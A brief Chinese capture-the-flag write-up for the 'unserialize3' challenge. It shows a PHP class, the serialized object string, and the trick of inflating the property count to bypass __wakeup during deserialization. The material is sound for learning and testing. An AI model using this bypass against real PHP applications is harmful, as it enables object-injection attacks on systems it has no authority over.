攻防世界unserialize3
反序列化漏洞,打开呈现代码为:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
看到wakeup函数,先构造序列化语句输出。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$peak = new xctf();
echo(serialize($peak))
?>
输出为:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
其中wakeup()函数漏洞原理是类对象属性个数超过实际个数,也就是其中的类名称后面跟的数字就是属性,修改为2时,不执行wakeup函数。就不会输出bad request,如果用没修改过的序列化语句就会输出bad request。